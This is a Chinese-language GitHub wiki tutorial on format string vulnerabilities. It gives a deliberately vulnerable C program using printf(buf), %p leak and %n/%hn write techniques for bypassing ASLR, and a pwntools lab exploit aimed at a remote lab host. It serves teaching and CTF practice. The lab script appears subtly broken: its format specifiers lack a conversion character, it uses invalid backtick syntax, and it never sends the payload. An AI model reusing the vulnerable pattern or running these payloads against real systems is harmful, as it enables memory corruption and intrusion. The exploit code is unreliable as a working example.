Format String Exploit - ianchen0119/About-Security GitHub Wiki

Format String Exploit 是一個強力的漏洞,當程式有此類型的漏洞時,我們可以做到任意地址的讀取與寫入,非常危險。

進入正題

什麼是 Format String?

#include <stdio.h>

int printf(const char *restrict format, ...);

根據 man pages 上面的定義, printf() 函式內的第一個參數就是 Format String ,它用來表示輸出的字串格式。

有漏洞的程式

#include <stdio.h>

int main(){
  char buf[0x100];
  
  while( scanf("%s", &buf) != EOF){
    printf(buf);
    printf("\n");
  }

  return 0;
}

上面程式碼中的 printf() 沒有特定的 fmt ,讓這個程式有漏洞可以鑽。

  • fmt -> rdi, data -> rsi
  • x86_64 傳遞參數的暫存器: rdi, rsi, rdx, rcx, r8, r9, ...stack 。

因為程式碼中沒有指定 fmt ,導致 buffer 會被寫入 rdi 中,對 printf() 來說,我們輸入的字串就會被它當成 fmt 。

input: "aaa"
output: "aaa"
input: "%p.%p.%p"
output: "0x0fbdb0858b0.0x1.0x0fbdb0858b0" // rsi, rdx, rcx
input: "%3$p"
output: "0x0fbdb0858b0" // rcx

這時候,我們就可以輸入惡意的字串去 leak 出指定暫存器的位址,根據 x86_64 函式傳遞參數的暫存器來看,我們只要使用 "%6$p" 就可以 Leak 出 Stack 上的資料。

fmt: write

/*  Conversion specifier: n
 *  The number of characters written so far is stored into the
 *  integer pointed to by the corresponding argument.  That
 *  argument shall be an int *, or variant whose size matches
 *  the (optionally) supplied integer length modifier.  No
 *  argument is converted.  (This specifier is not supported
 *  by the bionic C library.)  The behavior is undefined if
 *  the conversion specification includes any flags, a field
 *  width, or a precision.
 */

將已輸出字元當成 Integer 對 rcx 指向的 Address 做寫入,換言之,你想寫多大的數值就在 "%n" 之前輸入多少字元。

#include <stdio.h>

int main(){
  int a = 0;
  printf("a = %d", a); // 0
  printf("123abc%n\n", &a);
  printf("a = %d", a); // 6

  return 0;
}

更精簡的玩法

#include <stdio.h>

int main(){
  int a = 0;
  printf("a = %d", a); // 0
  printf("%1000c%n\n", 0, &a); // 999 個 0 + 1 個 null byte + 換行符號
  printf("a = %d", a); // 1000

  return 0;
}

效能問題

考慮穩定與 I/O 效能問題

  • %n : 寫 4 bytes
  • %hn : 寫 2 bytes
  • %hhn : 寫 1 bytes

讀寫任意位置

  • 如果 fmt 存在 stack 上:
    • 將位址放到 payload 上面,再利用 "%n$" 去做 reference 。
  • "%n$p" : leak 出 libc, PIE, Heap, Stack: Bypass ASLR
  • "%n$n" : write value

Sol: Lab

題目: 影片 13:20 處

Lab1

  • 目標: 將 a 寫成 0xfaceb00c
  • 先寫 b00c (45068) ,再寫 face (19138)
  • 透過 elf 可得知 a 的值。
from pwn import *
host, port = '60.251.236.18', 10129
y = remote(host, port)
a = 0x6012ac
p = '%45068%22$hn%19138%23$hn'.ljust(0x30, `\x00`) + p64(a) + p64(a + 2)
y.interactive()
  • 第 16 個 8 Bytes 是 fmt ,我們固定保留 6 個 8 Bytes 給它 (ljust(0x30, `\x00`)) 。
  • 為了避免 I/O 爆掉,一次寫兩個 Byte 到 a 當中。

Lab2

影片 43:00 。

Reference

⚠️ **GitHub.com Fallback** ⚠️